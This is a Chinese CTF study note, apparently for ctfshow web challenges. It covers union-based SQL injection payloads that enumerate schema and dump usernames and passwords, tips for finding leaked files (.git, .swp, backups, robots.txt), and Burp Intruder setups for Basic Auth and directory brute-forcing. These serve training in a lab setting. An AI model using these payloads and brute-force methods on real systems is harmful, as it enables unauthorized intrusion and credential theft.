1. SQL注入

# 联合查询注入

' union select 1,2,3 -- -
# 获取库
' union select database(),2,3 -- -
# 获取表名
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
# 根据表名获取字段
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- -
# 根据表名与字段列表数据
' union select 1, username, password from ctfshow_user -- -

2. 信息搜集

  1. 开发注释未及时删除

  2. js前台拦截 === 无效操作

  3. 没思路的时候抓个包看看,可能会有意外收获

  4. 总有人把后台地址写入robots,帮黑阔大佬们引路

  5. phps源码泄露有时候能帮上忙

  6. 某人解压源码到当前目录,测试正常,收工?等着被爆破工具得到源码zip吧

  7. svn或git版本控制很重要,但不要部署到生产环境更重要

  8. 发现数据库配置错了?赶紧在生产环境vim改下,不好,死机了,此时就会出现.swp临时文件可能会被dirsearch爆破出来

  9. cookie 只是一块饼干,不能存放任何隐私数据

  10. 有时候网站上的公开信息,就是管理员常用密码

  11. 技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

  12. 对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

  13. 密钥什么的,就不要放在前端了

  14. mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了

  15. 备份的sql文件会泄露敏感信息,最好移动走不要放在可被前端访问到的路径,会被爆破出来

  16. 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人,可能直接就能在编辑器中通过界面读取到服务器的目录内容

3. 爆破枚举

认证爆破

对于基于 Authorization: Basic 的认证爆破,假设我们在知道用户名的情况下,例如抓包格式为admin:123456则前面需要预先base64固定下来成为YWRtaW46后面则是密码部分配置为Add$参数点,右侧payloads配置为custom iterator模式,payload processing过程则配置为Base64-encode编码,同时该模式下的编码会出现特殊符号,结尾的payload encoding需要取消勾选

上述配置完即可进行attack测试,在爆破过程中可以对status code排序优先显示差异的,不出意外显示非401状态码那么大概率是有结果 了,再看这个Authorization头的内容是什么进行解码即是正确的值

目录爆破

某些场景存在多级目录嵌套结构,例如 /0/1//99/99/,甚至更复杂的层级枚举,此时可以使用 Burp Suite Intruder 官方文档 中的 Cluster Bomb 模式进行组合爆破;该模式会对多个参数位置进行联动遍历,例如当前路径完成 /99/1 后,下一个请求会自动进入 /0/2,类似多位计数器递增,从而高效完成大规模层级目录枚举

每一个参数点都需要在右侧 Payload Position 中单独配置对应的 Payload,例如第一级目录对应第一组 Payload、第二级目录对应第二组 Payload

观察到结果排序响应码在 GET /72/20/ HTTP/1.1 出现非302,正确值爆出来了